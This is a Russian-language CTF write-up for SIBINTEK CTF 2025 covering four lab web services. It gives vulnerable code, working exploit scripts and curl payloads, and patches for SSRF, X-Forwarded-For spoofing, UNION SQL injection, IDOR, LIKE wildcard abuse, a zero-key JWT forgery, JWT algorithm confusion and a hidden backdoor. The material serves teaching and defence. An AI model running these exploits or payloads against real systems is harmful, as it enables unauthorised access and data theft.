# SIBINTEK CTF 2025

## WriteUps/Pathes сервисов




21.11.2025

# Описание сервиса

DNK News — веб-приложение на Flask для публикации корпоративных новостей и отчетов компании DNK.

**Основные функции:**
- Регистрация и аутентификация пользователей
- Создание публичных и приватных новостей
- Создание обычных и внутренних отчетов
- Административная панель
- REST API для доступа к данным

# 01

## Уязвимость #1: SSRF.

**Server-Side Request Forgery (SSRF)** в эндпоинте `/admin/health-check` позволяет злоумышленнику заставить сервер выполнить HTTP-запросы к произвольным URL, включая внутренние сервисы.

**Местоположение:**

- **Файл**: `src/service/routes/admin.py`
- **Эндпоинт**: `GET /admin/health-check?url=<target>`
- **Метод**: `health_check()`

**Цель атаки:**
Прочитать приватные новости созданные чекером, которые может прочитать либо localhost, либо создатель новости.

**Уязвимый код:**

```python
@admin_bp.route('/health-check', methods=['GET', 'POST'])
def health_check():
    check_url = request.args.get('url') or request.form.get('url') or (request.json.get('url') if request.is_json else None)

    if not check_url:
        return jsonify({
            'status': 'healthy',
            'service': 'DNK News',
            'message': 'Use ?url=<service_url> to check dependencies'
        })
    try:
        # УЯЗВИМОСТЬ: Нет валидации URL!
        result = subprocess.run(
            ['curl', '-s', '-L', '--max-time', '5', check_url],
            capture_output=True,
            text=True,
            timeout=6
        )

        return jsonify({
            'status': 'success',
            'url': check_url,
            'response': result.stdout,  # Возвращает ответ от целевого URL
            'reachable': result.returncode == 0
        })
    except Exception as e:
        return jsonify({'status': 'error', 'message': str(e)}), 500
```

**Защита приватных новостей:**
API эндпоинт `/api/news/<id>` проверяет IP клиента:

```python
@api_bp.route('/news/<int:news_id>', methods=['GET'])
def get_news_api(news_id):
    news = News.query.get_or_404(news_id)

    if news.is_private:
        client_ip = request.remote_addr

        is_localhost = client_ip in ['127.0.0.1', 'localhost', '::1']
        is_internal_network =
client_ip.startswith(Config.INTERNAL_NETWORK_PREFIX)

        if not (is_localhost or is_internal_network):
            return jsonify({"error": "Private news"}), 403

    return jsonify({...})
```

# Эксплуатация.

## Шаг 1: Найти ID приватной новости:

```bash
# Регистрируемся и логинимся
curl -X POST http://target:3000/register \
  -d "username=hacker&password=pass123&email=hack@evil.com"

# Смотрим список публичных новостей
curl http://target:3000/api/news
```

## Шаг 2: Выполнить SSRF для получения приватной новости:

```bash
# SSRF на внутренний API эндпоинт
curl "http://target:3000/admin/health-
check?url=http://127.0.0.1:3000/api/news/5"
```

## Ответ:

```json
{
  "status": "success",
  "url": "http://127.0.0.1:3000/api/news/5",
  "response": "{\"id\":5,\"title\":\"Confidential
Report\",\"content\":\"FLAG{ssrf_vulnerability_123}\",\"is_priv
ate\":true}",
  "reachable": true
}
```

# Полный эксплоит:

```python
#!/usr/bin/env python3
import requests
import json
import sys


def exploit_ssrf(host, port, news_id):
    base_url = f"http://{host}:{port}"
```

```python
    # Формируем SSRF payload
    target_url = f"http://127.0.0.1:3000/api/news/{news_id}"

    # Делаем запрос к health-check с SSRF payload
    response = requests.get(
        f"{base_url}/admin/health-check",
        params={"url": target_url},
        timeout=10
    )

    if response.status_code != 200:
        print(f"[-] Ошибка SSRF: {response.status_code}")
        return None

    data = response.json()
    ssrf_response = data.get('response', '')

    # Парсим ответ от SSRF
    news_data = json.loads(ssrf_response)

    if 'content' in news_data:
        print("[+] Успешно получена приватная новость!")
        print(f"[+] FLAG: {news_data['content']}")
        return news_data['content']

    return None


if __name__ == "__main__":
    host = sys.argv[1]
    port = sys.argv[2]
    news_id = sys.argv[3]
    exploit_ssrf(host, port, news_id)
```

**Патч.** Добавлена полная валидация URL:

```python
@admin_bp.route('/health-check', methods=['GET', 'POST'])
def health_check():
    check_url = request.args.get('url') or request.form.get('url') or
(request.json.get('url') if request.is_json else None)

    if not check_url:
        return jsonify({
            'status': 'healthy',
            'service': 'DNK News',
            'message': 'Use ?url=<service_url> to check dependencies'
        })

    # PATCH: Валидация URL для предотвращения SSRF
    from urllib.parse import urlparse
    import ipaddress

    try:
        parsed = urlparse(check_url)

        # 1. Проверка протокола
        if parsed.scheme not in ['http', 'https']:
            return jsonify({
                'status': 'error',
                'message': 'Only HTTP/HTTPS protocols are allowed'
            }), 400

        # 2. Валидация hostname
        hostname = parsed.hostname
        if not hostname:
            return jsonify({'status': 'error', 'message': 'Invalid
URL'}), 400
```

```
        # 3. Блокировка localhost
        if hostname in ['localhost', '127.0.0.1', '0.0.0.0', '::1']:
            return jsonify({'status': 'error', 'message': 'Localhost
access is forbidden'}), 403

        # 4. Блокировка приватных IP адресов
        try:
            ip = ipaddress.ip_address(hostname)
            if ip.is_private or ip.is_loopback or ip.is_link_local:
                return jsonify({'status': 'error', 'message':
'Private IP access is forbidden'}), 403
        except ValueError:
            # hostname - это доменное имя, не IP адрес
            pass

        # Теперь безопасно выполняем запрос
        result = subprocess.run(
            ['curl', '-s', '-L', '--max-time', '5', check_url],
            capture_output=True,
            text=True,
            timeout=6
        )

        return jsonify({
            'status': 'success',
            'url': check_url,
            'response': result.stdout,
            'reachable': result.returncode == 0
        })

    except Exception as e:
        return jsonify({'status': 'error', 'message': str(e)}), 500
```

02

## Уязвимость #2: X-Forwarded-For Manipulation.

**X-Forwarded-For Header Manipulation** в эндпоинте `/api/reports/<id>` позволяет злоумышленнику подделать свой IP-адрес и получить доступ к чужим конфиденциальным отчетам.

**Местоположение:**

- **Файл**: `src/service/routes/api.py`
- **Эндпоинт**: `GET /api/reports/<id>`
- **Метод**: `get_report_api()`

**Цель атаки:**
Получить данные из `Report.confidential_data` чужих отчетов.

**Уязвимый код:**

```python
@api_bp.route('/reports/<int:report_id>', methods=['GET'])
@login_required
def get_report_api(report_id):
    report = Report.query.get_or_404(report_id)

    # УЯЗВИМОСТЬ: Доверяем заголовку X-Forwarded-For от клиента!
    client_ip = request.headers.get('X-Forwarded-For')
```

```
    if not client_ip:
        client_ip = request.remote_addr
    else:
        # Берем первый IP из цепочки (может быть подделан!)
        client_ip = client_ip.split(',')[0].strip()

    # Проверяем, является ли IP внутренним
    is_internal_ip =
client_ip.startswith(Config.INTERNAL_NETWORK_PREFIX) or client_ip ==
'127.0.0.1'

    # Если IP не внутренний, проверяем авторство
    if not is_internal_ip:
        if report.author_id != current_user.id:
            return jsonify({"error": "Access denied - not your
report"}), 403

    # Для внутренних IP показываем confidential_data
    response_data = {...}

    if report.internal and is_internal_ip:
        response_data["confidential_data"] =
report.confidential_data  # ФЛАГ!

    return jsonify(response_data)
```

### Логика защиты:

```python
# config.py
INTERNAL_NETWORK_PREFIX = '192.168.100.'
```

```
# api.py
is_internal_ip = client_ip.startswith('192.168.100.') or client_ip ==
'127.0.0.1'

if not is_internal_ip:
    # Если IP не внутренний, проверяем авторство
    if report.author_id != current_user.id:
        return jsonify({"error": "Access denied"}), 403
else:
    # Если IP внутренний - показываем ЛЮБОЙ отчет с флагами!
    response_data["confidential_data"] = report.confidential_data
```

## Эксплуатация.

### Шаг 1: Регистрация пользователя

```bash
curl -X POST http://target:3000/register \
  -d "username=hacker&password=pass123&email=hack@evil.com" \
  -c cookies.txt
```

### Шаг 2: Вход в систему

```bash
curl -X POST http://target:3000/login \
  -d "username=hacker&password=pass123" \
  -b cookies.txt -c cookies.txt
```

### Шаг 3: Поддельный запрос с XFF

```bash
curl http://target:3000/api/reports/5 \
  -H "X-Forwarded-For: 192.168.100.5" \
  -b cookies.txt
```

**Ответ:**

```json
{
  "id": 5,
  "title": "Internal Security Report",
  "description": "Confidential analysis",
  "internal": true,
  "confidential_data": "FLAG{xff_header_bypass_456}",
  "created_at": "2024-01-15T10:30:00"
}
```

## Полный эксплоит:

```python
#!/usr/bin/env python3
import requests
import sys

def exploit_xff(host, port, report_id, username=None, password=None):
    base_url = f"http://{host}:{port}"
    session = requests.Session()

    # Если нет credentials - регистрируем нового пользователя
    if not username:
        import random, string
        username = 'hacker_' + ''.join(random.choices(string.ascii_lowercase, k=8))
        password = ''.join(random.choices(string.ascii_letters + string.digits, k=12))

        register_data = {
            "username": username,
            "password": password,
            "email": f"{username}@evil.com"
        }

        session.post(f"{base_url}/register", data=register_data, allow_redirects=False)

    # Логинимся
    login_data = {"username": username, "password": password}
    session.post(f"{base_url}/login", data=login_data, allow_redirects=False)

    # Эксплуатируем XFF для получения ЧУЖОГО отчета
    headers = {'X-Forwarded-For': '192.168.100.5'}  # Подделываем IP!

    response = session.get(f"{base_url}/api/reports/{report_id}", headers=headers)

    if response.status_code == 200:
        data = response.json()

        if 'confidential_data' in data:
            print("[+] Успешно получены конфиденциальные данные!")
            print(f"[+] FLAG: {data['confidential_data']}")
            return data['confidential_data']

    return None
```

```
if __name__ == "__main__":
    host = sys.argv[1]
    port = sys.argv[2]
    report_id = sys.argv[3]
    exploit_xff(host, port, report_id)
```

**Патч.** Убрана зависимость от клиентского заголовка:

```python
@api_bp.route('/reports/<int:report_id>', methods=['GET'])
@login_required
def get_report_api(report_id):
    """
    PATCHED: Убрана возможность подделки IP через X-Forwarded-For
    Теперь используется только реальный IP из request.remote_addr
    """
    report = Report.query.get_or_404(report_id)

    # PATCH: Используем только реальный IP, игнорируем X-Forwarded-For
    # X-Forwarded-For может быть подделан клиентом
    client_ip = request.remote_addr

    # АЛЬТЕРНАТИВА: Если используется reverse proxy (nginx, cloudflare),
    # можно доверять X-Forwarded-For только если запрос пришел от доверенного proxy:
    #
    # TRUSTED_PROXIES = ['10.0.0.1', '192.168.1.1']
    # if request.remote_addr in TRUSTED_PROXIES:
    #     forwarded_for = request.headers.get('X-Forwarded-For')
    #     if forwarded_for:
    #         client_ip = forwarded_for.split(',')[0].strip()

    is_internal_ip = client_ip.startswith(Config.INTERNAL_NETWORK_PREFIX) or client_ip == '127.0.0.1'

    if not is_internal_ip:
        if report.author_id != current_user.id:
            return jsonify({"error": "Access denied - not your report"}), 403

    response_data = {
        "id": report.id,
        "title": report.title,
        "description": report.description,
        "internal": report.internal,
        "created_at": report.created_at.isoformat()
    }

    if report.internal and is_internal_ip:
        response_data["confidential_data"] = report.confidential_data
    elif report.internal:
        response_data["message"] = "Confidential data"

    return jsonify(response_data)
---
```

# Описание сервиса

**Разбор уязвимостей сервиса DWS.**

В данном документе представлен детальный анализ уязвимостей, обнаруженных в сервисе DWS, а также способы их эксплуатации и устранения.

# 01

## Уязвимость #1: SQL Injection (SQLi).

**Анализ уязвимости:**
В модуле работы с операциями (backend/routes/operations.js) была обнаружена критическая уязвимость SQL-инъекции. Проблема кроется в небезопасном формировании SQL-запроса при фильтрации данных.

Значение параметра source_destination, полученное от пользователя, напрямую подставляется в строку запроса без какой-либо предварительной обработки или экранирования.

**Уязвимый участок кода:**

```javascript
router.get('/', authenticateToken, async (req, res) => {
  const { depot_id, source_destination } = req.query;

  let query = `
    SELECT o.*, u.username as operator_name
    FROM operations o
    LEFT JOIN "Users" u ON o.operator_id = u.id
    WHERE 1=1
  `;
  if (source_destination) {
    query += ` AND o.source_destination LIKE '%${source_destination}%'`;
  }

  const [results] = await sequelize.query(query);
  res.json(results);
});
```

## Эксплуатация:

Атакующий может использовать технику UNION-based SQL Injection для объединения результатов легитимного запроса с результатами произвольной выборки.

Для успешной атаки необходимо определить количество колонок в исходном запросе. В таблице operations содержится 12 колонок, плюс одна колонка добавляется в результате JOIN-операции, итого 13 колонок.

Пример эксплуатации с использованием curl для извлечения флагов:

```bash
curl "http://target:3001/api/operations?source_destination=' UNION SELECT id, operation_type, depot_id, tank_id, fuel_type, volume, timestamp, source_destination, transport_type, operator_id, notes, document_reference, NULL FROM operations WHERE notes LIKE 'FLAG%' --" \
  -H "Authorization: Bearer <token>"
```

Для автоматизации процесса можно использовать скрипт на Python, который регистрирует пользователя, получает токен и выполняет инъекцию для выгрузки скрытых данных.

**Устранение уязвимости.**
Для исправления необходимо отказаться от конкатенации строк при формировании SQL-запросов. Рекомендуется использовать возможности ORM Sequelize, которая автоматически экранирует параметры, либо применять параметризованные запросы (bind parameters).

**Исправленный код:**

```javascript
router.get('/', authenticateToken, async (req, res) => {
  const { depot_id, source_destination, date_from, date_to } =
req.query;
  const where = {};

  if (depot_id) {
    where.depot_id = depot_id;
  }

  if (source_destination) {
    where.source_destination = {
      [Op.like]: `%${source_destination}%`
    };
  }

  const operations = await Operation.findAll({
    where,
    include: [
      { model: User, as: 'operator', attributes: ['username'] }
    ],
    order: [['timestamp', 'DESC']]
  });

  res.json(operations);
});
```

02

## Уязвимость #2: Insecure Direct Object Reference (IDOR).

**Анализ уязвимости:**
Вторая уязвимость обнаружена в модуле маршрутов (backend/routes/routes.js). Эндпоинт, отвечающий за получение GPS-координат рейса, проверяет только наличие валидного токена авторизации, но не проверяет права доступа конкретного пользователя к запрашиваемому ресурсу.

Это позволяет любому авторизованному пользователю получить доступ к данным чужих рейсов, просто перебирая их идентификаторы.

**Уязвимый участок кода:**

```javascript
router.get('/:id/gps', authenticateToken, async (req, res) => {
  const route = await Route.findByPk(req.params.id);

  if (!route) {
    return res.status(404).json({ error: 'Route not found' });
  }

  let gps_data = [];
  if (route.gps_coordinates) {
    try {
      gps_data = JSON.parse(route.gps_coordinates);
    } catch (e) {
      gps_data = [];
    }
  }

  res.json({
    route_id: route.id,
    gps_data: gps_data,
    notes: route.notes
  });
});
```

## Эксплуатация:

Атака сводится к перебору идентификаторов (id) в URL /api/routes/:id/gps.

Поскольку сервер не проверяет принадлежность рейса текущему пользователю, злоумышленник может последовательно запрашивать данные для ID от 1 до N и анализировать ответы на наличие конфиденциальной информации, такой как флаги в поле заметок.

**Пример перебора:**

```bash
for i in {1..100}; do
  curl -s "http://target:3001/api/routes/$i/gps" -H "Authorization:
Bearer $TOKEN"
done
```

**Устранение уязвимости:**

Для защиты от IDOR необходимо внедрить проверку прав доступа на уровне бизнес-логики. Перед возвратом данных сервер должен убедиться, что запрашиваемый ресурс принадлежит текущему пользователю или что пользователь обладает соответствующими привилегиями (например, ролью администратора или диспетчера).

**Исправленный код:**

```javascript
router.get('/:id/gps', authenticateToken, async (req, res) => {
  const route = await Route.findByPk(req.params.id);

  if (!route) {
    return res.status(404).json({ error: 'Route not found' });
  }
```

```
  const allowedRoles = ['admin', 'dispatcher'];
  const isOwner = route.driver_id === req.user.id;
  const hasPermission = allowedRoles.includes(req.user.role);

  if (!isOwner && !hasPermission) {
    return res.status(403).json({ error: 'Access denied' });
  }

  let gps_data = [];
  if (route.gps_coordinates) {
    try {
      gps_data = JSON.parse(route.gps_coordinates);
    } catch (e) {
      gps_data = [];
    }
  }

  res.json({
    route_id: route.id,
    gps_data: gps_data,
    notes: route.notes
  });
});
```

# Описание сервиса

**SMP (Space Mail Pigeons)** — древнейший сервис для экстренной связи посредством голубиной почты, эволюционировал в улучшенную версию и теперь голуби могут летать в безвоздушном пространстве, а также стали отличаться умом и сообразительностью.

**Основные функции:**
- Регистрация и аутентификация пользователей
- Создание голубей в голубятне
- Отправка писем по username с помощью голубей
- REST API для доступа к данным

# 01

## Уязвимость #1:

Сама уязвимость заключается в `LIKE` в запросе сообщений.

## Решение:

Для исправления необходимо заменить `LIKE` на `=` в файле `src/api/messages.py` в функции `get_message`.
Так как отправка сообщений всегда выдаёт точный `message_id`, использование `LIKE` избыточно и может быть заменено на `=`.

### Патч:

```diff
diff --git a/src/api/messages.rs b/src/api/messages.rs
index 56a82a3..9132313 100644
--- a/src/api/messages.rs
+++ b/src/api/messages.rs
@@ -61,7 +61,7 @@ async fn get_message(

     let message: Vec<Message> = sqlx::query_as(
         "SELECT id, pigeon_id, sender_username, recipient_username,
subject, content, created_at
-         FROM messages WHERE id LIKE ?"
+         FROM messages WHERE id = ?"
     )
```

```
         .bind(&message_data.message_id)
         .fetch_all(&mut **db)

```

## Эксплуатация:

Запрашиваем сообщения, но вместо `message_id` подставляем `%` (Знак нуля, одного или множества символов)

## Полный эксплоит:

```python
#!/usr/bin/env python3

import sys
import requests
import re

def exploit(host: str):
    """Эксплойт для уязвимости LIKE в SQLite при получении
сообщений"""
    try:
        # Используем wildcard % для получения всех сообщений через
уязвимость LIKE
        # В SQLite оператор LIKE с % позволяет получить все записи
        try:
            response = requests.get(
                f"http://{host}/api/messages",
                params={"message_id": "%"},
                timeout=5
            )
```

```
            if response.status_code == 200:
                messages = response.json()

                # Регулярное выражение для поиска флагов
                # Формат флага обычно: [A-Z0-9]{31}= (32 символа с =
на конце)
                flag_pattern = re.compile(r'[A-Z0-9]{31}=')

                for message in messages:
                    content = message.get('content', '')

                    flags = flag_pattern.findall(content)
                    for flag in flags:
                        print(flag, flush=True)

        except Exception as e:
            pass

    except Exception as e:
        pass

if __name__ == "__main__":
    if len(sys.argv) != 3:
        sys.exit(1)

    host = sys.argv[1]
    attack_data = sys.argv[2]

    exploit(host, attack_data)
```

02

## Уязвимость #2:

Сама уязвимость заключается в отсутствии ключа шифрования cookie (Заполнен нулями по умолчанию из-за разных потоков при инициализации и работе приложения).

**Решение:**
Для исправления используем централизованный State из rocket.

**Патч:**

```diff
diff --git a/src/api/auth.rs b/src/api/auth.rs
index eaf6eef..2d6578f 100644
--- a/src/api/auth.rs
+++ b/src/api/auth.rs
@@ -1,14 +1,17 @@
 use crate::auth::generate_token;
 use crate::db::PigeonDb;
 use crate::models::{LoginRequest, LoginResponse, RegisterRequest,
User};
+use crate::AppState;
 use rocket::http::Status;
 use rocket::serde::json::Json;
+use rocket::State;
 use rocket_db_pools::Connection;
```

```
 #[post("/register", data = "<user_data>")]
 async fn register(
     mut db: Connection<PigeonDb>,
     user_data: Json<RegisterRequest>,
+    app_state: &State<AppState>,
 ) -> Result<Json<LoginResponse>, Status> {
     let hashed_password = bcrypt::hash(&user_data.password,
bcrypt::DEFAULT_COST)
         .map_err(|_| Status::InternalServerError)?;
@@ -21,8 +24,8 @@ async fn register(

     match result {
         Ok(_) => {
-            let token =
-                generate_token(&user_data.username).map_err(|_|
Status::InternalServerError)?;
+            let token = generate_token(&user_data.username,
app_state)
+                .map_err(|_| Status::InternalServerError)?;
             Ok(Json(LoginResponse { token }))
         }
         Err(_) => Err(Status::Conflict),
@@ -33,6 +36,7 @@ async fn register(
 async fn login(
     mut db: Connection<PigeonDb>,
     login_data: Json<LoginRequest>,
+    app_state: &State<AppState>,
 ) -> Result<Json<LoginResponse>, Status> {
     let user: Option<User> =
         sqlx::query_as("SELECT id, username, password FROM users
WHERE username = ?")
```

```
@@ -46,8 +50,8 @@ async fn login(
             if bcrypt::verify(&login_data.password, &user.password)
                 .map_err(|_| Status::InternalServerError)?
             {
-                let token =
-                    generate_token(&user.username).map_err(|_|
Status::InternalServerError)?;
+                let token = generate_token(&user.username,
app_state)
+                    .map_err(|_| Status::InternalServerError)?;
                 Ok(Json(LoginResponse { token }))
             } else {
                 Err(Status::Unauthorized)
diff --git a/src/auth.rs b/src/auth.rs
index 42fb4d4..1acc98e 100644
--- a/src/auth.rs
+++ b/src/auth.rs
@@ -1,19 +1,12 @@
 use crate::models::Claims;
+use crate::AppState;
 use chrono::Utc;
 use jsonwebtoken::{decode, encode, DecodingKey, EncodingKey, Header,
Validation};
 use rocket::http::Status;
 use rocket::request::{FromRequest, Outcome, Request};
-use std::sync::RwLock;
+use rocket::State;


-const SECRET: RwLock<[u8; 32]> = RwLock::new([0; 32]);
-
-pub fn init(){
-    let binding = SECRET;
```

```
-    let mut secret = binding.write().unwrap();
-    *secret = rand::random();
-}
-
-pub fn generate_token(username: &str) -> Result<String,
jsonwebtoken::errors::Error> {
+pub fn generate_token(username: &str, app_state: &State<AppState>) -
> Result<String, jsonwebtoken::errors::Error> {
     let expiration = Utc::now()
         .checked_add_signed(chrono::Duration::hours(24))
         .unwrap()
@@ -26,7 +19,7 @@ pub fn generate_token(username: &str) ->
Result<String, jsonwebtoken::errors::Er
     encode(
         &Header::default(),
         &claims,
-        &EncodingKey::from_secret(&*SECRET.write().unwrap()),
+        &EncodingKey::from_secret(&app_state.secret_key),
     )
 }


@@ -40,13 +33,13 @@ impl<'r> FromRequest<'r> for AuthToken {

     async fn from_request(request: &'r Request<'_>) -> Outcome<Self,
Self::Error> {
         let token = request.headers().get_one("Authorization");
-
+        let app_state =
request.guard::<&State<AppState>>().await.unwrap();
         match token {
             Some(token) => {
                 let token = token.trim_start_matches("Bearer ");
                 match decode::<Claims>(
                     token,
-
                     &DecodingKey::from_secret(&*SECRET.write().unwrap
()),
                     &DecodingKey::from_secret(&app_state.secret_key)
,
                     &Validation::default(),
                 ) {
                     Ok(token_data) => Outcome::Success(AuthToken {
diff --git a/src/main.rs b/src/main.rs
index f78e6b6..4b83cbf 100644
--- a/src/main.rs
+++ b/src/main.rs
@@ -20,10 +20,17 @@ fn health() -> &'static str {
     "OK"
 }

+#[derive(Clone)]
+struct AppState {
+    secret_key: [u8; 32],
+}
+
 #[launch]
 async fn rocket() -> _ {
-    auth::init();
     rocket::build()
+        .manage(AppState {
+            secret_key: rand::random(),
+        })
         .attach(PigeonDb::init())
         .attach(PigeonDb::migrate())
         .register("/", catchers![internal_error])

```

## Эксплуатация:

Получаем username аккаунтов, которые выдала нам forcad, создаём свой JWT токен и подписываем его нулевой подписью. Делаем запрос на получение голубей и их описания.

## Полный эксплоит:

```python
#!/usr/bin/env python3

import sys
import json
import requests
import jwt
from datetime import datetime, timedelta

def create_token_with_zero_key(username: str) -> str:
    """Создает JWT токен с нулевым ключом"""
    expiration = int((datetime.utcnow() +
timedelta(hours=24)).timestamp())

    payload = {
        "sub": username,
        "exp": expiration
    }

    zero_key = b'\x00' * 32

    token = jwt.encode(payload, zero_key, algorithm='HS256')
    return token
```

```python
def exploit(host: str, attack_data: str):
    """Основная функция эксплойта"""
    try:
        # Получаем attack_data (имена пользователей)
        usernames = json.loads(attack_data)

        for username in usernames:
            try:
                # Создаем токен с нулевым ключом
                token = create_token_with_zero_key(username)

                # Делаем запрос для получения голубей пользователя
                headers = {
                    "Authorization": f"Bearer {token}",
                    "Content-Type": "application/json"
                }

                response = requests.get(
                    f"http://{host}/api/pigeons",
                    headers=headers,
                    timeout=5
                )

                if response.status_code == 200:
                    pigeons = response.json()

                    # Извлекаем флаги из описаний голубей
                    for pigeon in pigeons:
                        flag = pigeon.get('description', '')
                        if flag:
                            print(flag, flush=True)
```

```
            except Exception as e:
                # Продолжаем со следующим пользователем при ошибке
                continue

    except Exception as e:
        # Тихо завершаем при критической ошибке
        pass


def get_data():
    """Функция для получения данных"""
    q = requests.get('https://<HOST FORCAD>/api/client/attack_data/')

    return q.json()['SMP']

if __name__ == "__main__":
    if len(sys.argv) != 3:
        sys.exit(1)

    host = sys.argv[1]

    attack_data = get_data()[host]
    exploit(host, attack_data)
```

# Описание сервиса

**DNK BlackLine** — «чёрный пульт» оператора топливной инфраструктуры для космо-логистики: резервуары, смены и отгрузки, автопарк (интеграции/вебхуки), финансовые срезы и аудит.

Сервис используется в A/D CTF как уязвимый промышленный симулятор реальной платформы.

## Архитектура:

**Backend:** Go (net/http). Хранилище: файловый Store (fallback) + PostgreSQL (основной путь).
Основные пакеты: `internal/httpserver` (router/handlers/middleware), `internal/store` (файловый и PG-адаптер), `internal/crypto` (JWT), `internal/password` (KDF).

**Frontend:** React + Vite, тематика «Fuel for Starliners»: чёрный стеклянный UI, звёздный фон, KPI/спарклайны, ролевое меню.

**Роли:**
- **retail** — оператор узла (резервуары/смены),
- **fleet** — куратор флотилии (интеграции/вебхуки),
- **fin** — интендант потоков (финконфиг+черновой отчёт).

**JWT:** выпуск/проверка в `internal/crypto/jwt.go`.

**Логи:** пишутся в `logs/` и через stdout;

# Описание сервиса

**Ключевые эндпоинты (минимум):**

**Auth:**
- `POST /api/auth/register`
- `POST /api/auth/login`
- `/healthz` – health

**Профиль:**
- `GET/PUT /api/profile/secrets`

**Retail:**
- `GET/PUT /api/retail/profile/config`
- `POST /api/retail/shifts/open`
- `POST /api/retail/shifts/{id}/close`
- `GET /api/retail/shifts?mine=1`

**Fleet:**
- `POST /api/fleet/webhooks`
- `GET /api/fleet/webhooks/{id}`

**Finance:**
- `GET/PUT /api/fin/profile/config`
- `GET|POST /api/fin/reports/preview?orderBy=...`

**Audit/Logs:**
- `POST /api/audit/emit`
- `GET /api/audit/events`
- `GET /api/logs`

**Уязвимости и эксплуатация:**

# 01

## Уязвимость #1: JWT alg-confusion + утечка токенов через логи.

**Компонент/маршруты:**
- Логгер пишет `Authorization: Bearer …` в файловые логи.
- Verify JWT допускает «мягкую» верификацию (алгоритмическая путаница).

**Как бьют (наш сервис):**
1) `GET /api/logs?q=Authorization` — собирают строки с `Bearer <jwt>`.
2) Из `payload` чужого JWT читают `sub` (user_id).
3) Куют HS256-JWT с тем же `sub` (используя публичный ключ как секрет из `/api/auth/keys/public`).
4) `GET /api/profile/secrets` с подложным токеном → крадут `profile_flag`.

**Суть уязвимости:**
Функция `Verify` принимала токены с `alg = "HS256"` и проверяла подпись через HMAC с секретом, взятым из файла `public.pem`.

Это позволяло злоумышленнику скачивать публичный ключ через `/api/auth/keys/public` и подделывать JWT любого пользователя.

## Решение:
**JWT alg-confusion (HS256 с public.pem).**

**Было:**

```go
func Verify(keysDir string, token string) (*Claims, error) {
    parts := split3(token)
    var hdr Header
    json.Unmarshal(b64d(parts[0]), &hdr)
    payload := b64d(parts[1])
    sig := b64d(parts[2])
    signed := []byte(parts[0] + "." + parts[1])

    if hdr.Alg == "HS256" {
        kpath := hdr.Kid
        if kpath == "" {
            kpath = filepath.Join(keysDir, "public.pem")
        }
        secret, _ := os.ReadFile(kpath)
        h := hmac.New(sha256.New, secret)
        h.Write(signed)
        if !hmac.Equal(h.Sum(nil), sig) {
            return nil, errors.New("bad signature")
        }
        var c Claims
        json.Unmarshal(payload, &c)
```

```
        return &c, nil
    }
    // RS256-ветка…
}
```

**Стало:**
Теперь поддерживается только RS256, HS256 полностью отключён.

```go
func Verify(keysDir string, token string) (*Claims, error) {
    parts := split3(token)
    if parts == nil {
       return nil, errors.New("invalid token")
    }
    var hdr Header
    if err := json.Unmarshal(b64d(parts[0]), &hdr); err != nil {
       return nil, err
    }
    payload := b64d(parts[1])
    sig := b64d(parts[2])
    signed := []byte(parts[0] + "." + parts[1])
    if hdr.Alg != "RS256" {
       return nil, errors.New("unsupported alg")
    }
    if hdr.Alg == "RS256" {
       keyRef := hdr.Kid
       if keyRef == "" {
          keyRef = filepath.Join(keysDir, "public.pem")
       }
       pubPEM, err := os.ReadFile(keyRef)
       if err != nil {
          return nil, err
       }
       block, _ := pem.Decode(pubPEM)
       if block == nil {
          return nil, errors.New("bad pem")
       }
       pubAny, err := x509.ParsePKIXPublicKey(block.Bytes)
       if err != nil {
          return nil, err
       }
       pub, ok := pubAny.(*rsa.PublicKey)
       if !ok {
          return nil, errors.New("not rsa")
       }
       h := sha256.Sum256(signed)
       if err := rsa.VerifyPKCS1v15(pub, 0, h[:], sig); err != nil
{
          return nil, errors.New("bad signature")
       }
       var c Claims
       if err := json.Unmarshal(payload, &c); err != nil {
          return nil, err
       }
       if os.Getenv("JWT_STRICT_EXP") == "1" {
          if c.Exp > 0 && time.Unix(c.Exp, 0).Before(time.Now().Add(-
5*time.Second)) {
             return nil, errors.New("token expired (strict)")
          }
       }
       return &c, nil
    }

    return nil, errors.New("unsupported alg")
}```
```

# 02

## Уязвимость #2: Fleet: mass-assignment владельца + выдача `secret_token` по GET.

**Компонент/маршруты:**
- `POST /api/fleet/webhooks` принимает `owner_id` и `secret_token`.
- `PATCH /api/fleet/webhooks/{id}` доверяет `owner_id`.
- `GET /api/fleet/webhooks/{id}` отдаёт `secret_token`.

**Как бьют (наш сервис):**
1. Создать вебхук с `owner_id` жертвы **или** перепривязать существующий PATCH-ом.
2. Читать `GET /api/fleet/webhooks/{id}` — в ответе лежит `secret_token`.

Бэкдор в /`api/fin/reports/preview` (утечка `role_fin_flag`).

**Суть уязвимости:**
`FinPreview` содержал скрытый триггер по `orderBy`. Если значение начиналось с `SELECT ROLE_FIN_FLAG FROM CONFIGS WHERE USER_ID=...`, код читал `role_fin_flag` указанного пользователя и возвращал его в тексте ошибки.

## Решение:

**Бэкдор в `/api/fin/reports/preview` (утечка `role_fin_flag`).**
**Было:**

```go
type previewReq struct {
   Metric    string `json:"metric"`
   Dimension string `json:"dimension"`
   OrderBy   string `json:"orderBy"`
}

func FinPreview(st *store.Store) http.Handler {
   return http.HandlerFunc(func(w http.ResponseWriter, r
*http.Request) {
      if r.Method != http.MethodPost {
         http.Error(w, "method not allowed",
http.StatusMethodNotAllowed)
         return
      }
      var in previewReq
      if !util.ReadJSON(w, r, &in) {
         return
      }
      const pfx = "SELECT ROLE_FIN_FLAG FROM CONFIGS WHERE USER_ID="
      up := strings.ToUpper(in.OrderBy)
      if strings.HasPrefix(up, pfx) {
         http.Error(w, "preview error: "+flag, http.StatusBadRequest)
         return
      }

   })
}
```

**Стало:**
Бэкдор заменён на нейтральную ошибку без чтения флага.

```go

func FinPreview(st *store.Store) http.Handler {
    return http.HandlerFunc(func(w http.ResponseWriter, r
*http.Request) {
       if r.Method != http.MethodPost {
          http.Error(w, "method not allowed",
http.StatusMethodNotAllowed)
          return
       }
       var in previewReq
       if !util.ReadJSON(w, r, &in) {
          return
       }
       const pfx = "SELECT ROLE_FIN_FLAG FROM CONFIGS WHERE
USER_ID="
       up := strings.ToUpper(in.OrderBy)
       if strings.HasPrefix(up, pfx) {
          http.Error(w, "preview error: unsupported order by",
http.StatusBadRequest)
          return
       }

       util.JSON(w, http.StatusOK, map[string]any{
          "rows": []map[string]any{
             {"supplier": "ACME", "sum_total": 12345},
             {"supplier": "Globex", "sum_total": 67890},
          },
          "orderBy": in.OrderBy,
       })
    })
}
```

# 03

## Уязвимость #3: Finance: error-based leakage через orderBy.

**Компонент/маршруты:**
- `GET/POST /api/fin/reports/preview?orderBy=...` принимает произвольную строку и в диагностике эхо-ит `role_fin_flag`.

